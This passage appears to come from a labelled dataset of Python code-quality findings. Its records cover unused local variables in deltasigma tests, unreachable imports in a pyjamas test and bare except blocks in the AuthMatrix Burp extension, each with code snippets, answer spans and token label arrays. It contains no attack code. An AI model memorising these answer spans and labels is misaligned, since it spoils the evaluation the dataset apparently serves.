":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "client_", "._", "request_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "post_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "client_", "._", "parse", "DOM_", "(_", "result_", ",_", "'", "Form", "'_", ",_", "attrs_", "=_", "{_", "'", "name", "'_", ":_", "'", "F1", "'_", "}_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "k_", "=_", "client_", "._", "parse", "DOM_", "(_", "f_", ",_", "'", "input", "'_", ",_", "ret_", "=_", "'", "name", "'_", ",_", "attrs_", "=_", "{_", "'", "type", "'_", ":_", "'", "hidden", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "k_", ":_", "post_", "._", "update_", "(_", "{_", "i_", ":_", "client_", "._", "parse", "DOM_", "(_", "f_", ",_", "'", "input", "'_", ",_", "ret_", "=_", "'", "value", "'_", ",_", "attrs_", "=_", "{_", "'", "name", "'_", ":_", "i_", "}_", ")_", "[_", "0_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "update_", "(_", "{_", "'", "method", "\\u", "free", "'_", ":_", "''_", ",_", "'", "method", "\\u", "premium", "'_", ":_", "''_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "client_", "._", "request_", "(_", "url_", ",_", "post_", "=_", "post_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "re_", "._", "compile_", "(_", "'(", "<", "a", "\\\\", "s", "+", "href", "=.", "+?", ">", "Down", "load", "\\\\", "s", "+.", "+?", "</", "a", ">)", "'_", ")_", "._", "findall_", "(_", "result_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "client_", "._", "parse", "DOM_", "(_", "url_", ",_", "'", "a", "'_", ",_", "ret_", "=_", "'", "href", "'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ggventurini/python-deltasigma/deltasigma/tests/test_synthesizeNTF.py
[ { "content": " @raises(ValueError)\n def test_synthesizeNTF_12(self):\n \"\"\"Test function for synthesizeNTF() 12/15\"\"\"\n # f0 > 0.5 -> ValueError\n z, p, k = synthesizeNTF(order=2, osr=32, opt=0, H_inf=1.3, f0=0.7)", "metadata": "root.TestSynthesizeNTF.test_synthesizeNTF_12", "header": "['class', 'TestSynthesizeNTF', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 164 }, { "content": " @raises(ValueError)\n def test_synthesizeNTF_13(self):\n \"\"\"Test function for synthesizeNTF() 13/15\"\"\"\n # f0 > 0. and order odd -> ValueError\n z, p, k = synthesizeNTF(order=3, osr=32, opt=0, H_inf=1.3, f0=0.3)", "metadata": "root.TestSynthesizeNTF.test_synthesizeNTF_13", "header": "['class', 'TestSynthesizeNTF', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 170 }, { "content": " @raises(ValueError)\n def test_synthesizeNTF_14(self):\n \"\"\"Test function for synthesizeNTF() 14/15\"\"\"\n # 1 < len(opt) < order\n z, p, k = synthesizeNTF(order=3, osr=32, opt=[0., 0.], H_inf=1.3, f0=0.3)", "metadata": "root.TestSynthesizeNTF.test_synthesizeNTF_14", "header": "['class', 'TestSynthesizeNTF', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 176 }, { "content": " @raises(ValueError)\n def test_synthesizeNTF_15(self):\n \"\"\"Test function for synthesizeNTF() 15/15\"\"\"\n # order < len(opt)\n z, p, k = synthesizeNTF(order=3, osr=32, opt=[0., 0., 0., 0.], H_inf=1.3, f0=0.)", "metadata": "root.TestSynthesizeNTF.test_synthesizeNTF_15", "header": "['class', 'TestSynthesizeNTF', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 182 } ]
[ { "span": "z,", "start_line": 168, "start_column": 8, "end_line": 168, "end_column": 9 }, { "span": "p,", "start_line": 168, "start_column": 11, "end_line": 168, "end_column": 12 }, { "span": "k ", "start_line": 168, "start_column": 14, "end_line": 168, "end_column": 15 }, { "span": "z,", "start_line": 174, "start_column": 8, "end_line": 174, "end_column": 9 }, { "span": "p,", "start_line": 174, "start_column": 11, "end_line": 174, "end_column": 12 }, { "span": "k ", "start_line": 174, "start_column": 14, "end_line": 174, "end_column": 15 }, { "span": "z,", "start_line": 180, "start_column": 8, "end_line": 180, "end_column": 9 }, { "span": "p,", "start_line": 180, "start_column": 11, "end_line": 180, "end_column": 12 }, { "span": "k ", "start_line": 180, "start_column": 14, "end_line": 180, "end_column": 15 }, { "span": "z,", "start_line": 186, "start_column": 8, "end_line": 186, "end_column": 9 }, { "span": "p,", "start_line": 186, "start_column": 11, "end_line": 186, "end_column": 12 }, { "span": "k ", "start_line": 186, "start_column": 14, "end_line": 186, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Synthe", "size", "NT", "F_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "raises_", "(_", "Value", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "synthesi", "ze", "NT", "F", "\\u", "12_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "function", " ", "for", " ", "synthesi", "ze", "NT", "F", "()", " ", "1", "2", "/", "15", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "f0", " ", ">", " ", "0.", "5", " ", "->", " ", "Value", "Error_", "\\u\\u\\uNL\\u\\u\\u_", "z_", ",_", "p_", ",_", "k_", "=_", "synthesi", "ze", "NT", "F_", "(_", "order_", "=_", "2_", ",_", "osr", "_", "=_", "32_", ",_", "opt_", "=_", "0_", ",_", "H", "\\u", "inf_", "=_", "1.3_", ",_", "f0_", "=_", "0.7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Synthe", "size", "NT", "F_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "raises_", "(_", "Value", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "synthesi", "ze", "NT", "F", "\\u", "13_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "function", " ", "for", " ", "synthesi", "ze", "NT", "F", "()", " ", "13", "/", "15", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "f0", " ", ">", " ", "0.", " ", "and", " ", "order", " ", "odd", " ", "->", " ", "Value", "Error_", "\\u\\u\\uNL\\u\\u\\u_", "z_", ",_", "p_", ",_", "k_", "=_", "synthesi", "ze", "NT", "F_", "(_", "order_", "=_", "3_", ",_", "osr", "_", "=_", "32_", ",_", "opt_", "=_", "0_", ",_", "H", "\\u", "inf_", "=_", "1.3_", ",_", "f0_", "=_", "0.3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Synthe", "size", "NT", "F_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "raises_", "(_", "Value", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "synthesi", "ze", "NT", "F", "\\u", "14_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "function", " ", "for", " ", "synthesi", "ze", "NT", "F", "()", " ", "14", "/", "15", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "1", " ", "<", " ", "len", "(", "opt", ")", " ", "<", " ", "order_", "\\u\\u\\uNL\\u\\u\\u_", "z_", ",_", "p_", ",_", "k_", "=_", "synthesi", "ze", "NT", "F_", "(_", "order_", "=_", "3_", ",_", "osr", "_", "=_", "32_", ",_", "opt_", "=_", "[_", "0._", ",_", "0._", "]_", ",_", "H", "\\u", "inf_", "=_", "1.3_", ",_", "f0_", "=_", "0.3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Synthe", "size", "NT", "F_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "raises_", "(_", "Value", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "synthesi", "ze", "NT", "F", "\\u", "15_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "function", " ", "for", " ", "synthesi", "ze", "NT", "F", "()", " ", "15", "/", "15", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "order", " ", "<", " ", "len", "(", "opt", ")_", "\\u\\u\\uNL\\u\\u\\u_", "z_", ",_", "p_", ",_", "k_", "=_", "synthesi", "ze", "NT", "F_", "(_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, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
anandology/pyjamas/examples/libtest/BuiltinTest.py
[ { "content": "from UnitTest import UnitTest\n\ntry:\n builtin_value = builtin.value\nexcept:\n builtin_value = None\nif False:\n import builtin\nimport builtin\n\nfrom imports.cls import CLS\nfrom imports.cls1 import CLS as CLS1\n\n\n\n\n\n#from pyjamas import log\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import builtin", "start_line": 7, "start_column": 4, "end_line": 7, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "Unit", "Test_", "import_", "Unit", "Test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bui", "lti", "n", "\\u", "value_", "=_", "builtin_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bui", "lti", "n", "\\u", "value_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "builtin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "builtin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "imports_", "._", "cls_", "import_", "CLS", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "imports_", "._", "cls", "1_", "import_", "CLS", "_", "as_", "CLS", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "from", " ", "pyj", "ama", "s", " ", "import", " ", "log_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
SecurityInnovation/AuthMatrix/AuthMatrix.py
[ { "content": " def runMessagesThread(self, messageIndexes=None):\n self._db.lock.acquire()\n try:\n indexes = messageIndexes\n if not indexes:\n indexes = self._db.getActiveMessageIndexes()\n self.clearColorResults(indexes)\n for index in indexes:\n self.runMessage(index)\n #self.colorCodeResults()\n except:\n traceback.print_exc(file=self._callbacks.getStderr())\n finally:\n self._db.lock.release()\n self.colorCodeResults()", "metadata": "root.BurpExtender.runMessagesThread", "header": "['class', 'BurpExtender', '(', 'IBurpExtender', ',', 'ITab', ',', 'IMessageEditorController', ',', 'IContextMenuFactory', ')', ':', '___NEWLINE___', '___NL___', '#', '___NL___', '# implement IBurpExtender', '___NL___', '#', '___NL___', '___EOS___']", "index": 418 }, { "content": " def load(self, db, extender):\n def loadRequestResponse(index, callbacks, helpers, host, port, protocol, requestData):\n # NOTE: tempRequestResponse is an array because of a threading issue,\n # where if this thread times out, it will still update temprequestresponse later on..\n # TODO: also this still locks the UI until all requests suceed or time out...\n try:\n # Due to Burp Extension API, must create a original request for all messages\n service = helpers.buildHttpService(host, port, protocol)\n if service:\n self.tempRequestResponse[index] = callbacks.makeHttpRequest(service,requestData)\n except java.lang.RuntimeException:\n # Catches if there is a bad host\n # TODO there is an unhandled exception thrown in the stack trace here?\n return\n except:\n traceback.print_exc(file=callbacks.getStderr())\n\n def replaceDomain(requestData, oldDomain, newDomain):\n reqstr = StringUtil.fromBytes(requestData)\n reqstr = reqstr.replace(oldDomain, newDomain)\n newreq = StringUtil.toBytes(reqstr)\n return newreq\n\n callbacks = extender._callbacks\n helpers = extender._helpers\n\n self.lock.acquire()\n self.arrayOfRoles = db.arrayOfRoles\n self.arrayOfUsers = db.arrayOfUsers\n self.deletedUserCount = db.deletedUserCount\n self.deletedRoleCount = db.deletedRoleCount\n self.deletedMessageCount = db.deletedMessageCount\n self.arrayOfMessages = ArrayList()\n\n self.tempRequestResponse = []\n index=0\n newDomain = None\n replaceForAll = False\n skipped = 0\n for message in db.arrayOfMessages: \n keeptrying = True\n while keeptrying:\n self.tempRequestResponse.append(None)\n\n if newDomain:\n requestData = replaceDomain(message._requestData, message._host, newDomain)\n host = newDomain\n # TODO consider changing port too?\n else:\n requestData = message._requestData\n host = message._host\n\n t = Thread(target=loadRequestResponse, args = [index, callbacks, helpers, host, message._port, message._protocol, requestData])\n t.start()\n t.join(self.LOAD_TIMEOUT)\n if not t.isAlive() and self.tempRequestResponse[index] != None:\n self.arrayOfMessages.add(MessageEntry(\n message._index,\n message._tableRow-skipped,\n callbacks.saveBuffersToTempFiles(self.tempRequestResponse[index]),\n message._url, message._name, message._roles, message._successRegex, message._deleted))\n keeptrying = False\n if not replaceForAll:\n newDomain = None\n else:\n keeptrying, newDomain, replaceForAll = extender.changeDomainPopup(host, message._tableRow)\n if not keeptrying:\n skipped += 1\n \n index += 1\n\n self.lock.release()", "metadata": "root.MatrixDB.load", "header": "['class', 'MatrixDB', '(', ')', ':', '___EOS___']", "index": 656 }, { "content": " def getRowCount(self):\n try:\n return len(self._db.getActiveUserIndexes())\n except:\n return 0", "metadata": "root.UserTableModel.getRowCount", "header": "['class', 'UserTableModel', '(', 'AbstractTableModel', ')', ':', '___EOS___']", "index": 825 }, { "content": " def getColumnCount(self):\n # NOTE: maybe remove this try?\n try:\n return len(self._db.getActiveRoleIndexes())+self._db.STATIC_USER_TABLE_COLUMN_COUNT\n except:\n return self._db.STATIC_USER_TABLE_COLUMN_COUNT", "metadata": "root.UserTableModel.getColumnCount", "header": "['class', 'UserTableModel', '(', 'AbstractTableModel', ')', ':', '___EOS___']", "index": 831 }, { "content": " def getRowCount(self):\n try:\n return len(self._db.getActiveMessageIndexes())\n except:\n return 0", "metadata": "root.MessageTableModel.getRowCount", "header": "['class', 'MessageTableModel', '(', 'AbstractTableModel', ')', ':', '___EOS___']", "index": 933 } ]
[ { "span": "except:", "start_line": 428, "start_column": 8, "end_line": 428, "end_column": 15 }, { "span": "except:", "start_line": 670, "start_column": 12, "end_line": 670, "end_column": 19 }, { "span": "except:", "start_line": 828, "start_column": 8, "end_line": 828, "end_column": 15 }, { "span": "except:", "start_line": 835, "start_column": 8, "end_line": 835, "end_column": 15 }, { "span": "except:", "start_line": 936, "start_column": 8, "end_line": 936, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Bur", "p", "Extend", "er_", "(_", "IB", "ur", "p", "Extend", "er_", ",_", "IT", "ab_", ",_", "IM", "essage", "Edit", "or", "Controller_", ",_", "IC", "onte", "xt", "Menu", "Factory_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "implement", " ", "IB", "ur", "p", "Extend", "er_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run", "Messag", "es", "Thread_", "(_", "self_", ",_", "message", "Indexes_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "db_", "._", "lock_", "._", "acquire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "indexes_", "=_", "message", "Indexes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "indexes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "indexes_", "=_", "self_", "._", "\\u", "db_", "._", "get", "Activ", "e", "Messag", "e", "Indexes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "clear", "Color", "Results_", "(_", "indexes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "index_", "in_", "indexes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run", "Message_", "(_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "color", "Code", "Result", "s", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "traceback_", "._", "print", "\\u", "exc_", "(_", "file_", "=_", "self_", "._", "\\u", "callbacks_", "._", "get", "Std", "err_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "db_", "._", "lock_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "color", "Code", "Results_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Matrix", "DB_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load_", "(_", "self_", ",_", "db_", ",_", "extend", "er_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "load", "Request", "Response_", "(_", "index_", ",_", "callbacks_", ",_", "helpers_", ",_", "host_", ",_", "port_", ",_", "protocol_", ",_", "request", "Data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "temp", "Request", "Respons", "e", " ", "is", " ", "an", " ", "array", " ", "bec", "aus", "e", " ", "of", " ", "a", " ", "thread", "ing", " ", "issue", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "where", " ", "if", " ", "this", " ", "thread", " ", "times", " ", "out", ",", " ", "it", " ", "will", " ", "still", " ", "update", " ", "temp", "request", "response", " ", "late", "r", " ", "on", "..", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "als", "o", " ", "this", " ", "still", " ", "lock", "s", " ", "the", " ", "UI", " ", "unti", "l", " ", "all", " ", "request", "s", " ", "suce", "ed", " ", "or", " ", "time", " ", "out", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Du", "e", " ", "to", " ", "Bur", "p", " ", "Ext", "ensi", "on", " ", "API", ",", " ", "must", " ", "create", " ", "a", " ", "original", " ", "request", " ", "for", " ", "all", " ", "messages_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "service_", "=_", "helpers_", "._", "build", "Http", "Service_", "(_", "host_", ",_", "port_", ",_", "protocol_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "service_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "temp", "Request", "Response_", "[_", "index_", "]_", "=_", "callbacks_", "._", "make", "Http", "Request_", "(_", "service_", ",_", "request", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "java_", "._", "lang_", "._", "Run", "time", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Catch", "es", " ", "if", " ", "there", " ", "is", " ", "a", " ", "bad", " ", "host_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", " ", "there", " ", "is", " ", "an", " ", "unhandled", " ", "exception", " ", "throw", "n", " ", "in", " ", "the", " ", "stack", " ", "trace", " ", "here", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "traceback_", "._", "print", "\\u", "exc_", "(_", "file_", "=_", "callbacks_", "._", "get", "Std", "err_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "replace", "Domain_", "(_", "request", "Data_", ",_", "old", "Domain_", ",_", "new", "Domain_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reqs", "tr_", "=_", "String", "Util_", "._", "from", "Bytes_", "(_", "request", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reqs", "tr_", "=_", "reqs", "tr_", "._", "replace_", "(_", "old", "Domain_", ",_", "new", "Domain_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newre", "q_", "=_", "String", "Util_", "._", "to", "Bytes_", "(_", "reqs", "tr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "newre", "q_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "callbacks_", "=_", "extend", "er_", "._", "\\u", "callbacks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "helpers_", "=_", "extend", "er_", "._", "\\u", "helpers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "lock_", "._", "acquire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "array", "Of", "Roles_", "=_", "db_", "._", "array", "Of", "Roles_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "array", "Of", "Users_", "=_", "db_", "._", "array", "Of", "Users_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "delete", "d", "User", "Count_", "=_", "db_", "._", "delete", "d", "User", "Count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "delete", "d", "Ro", "le", "Count_", "=_", "db_", "._", "delete", "d", "Ro", "le", "Count_", 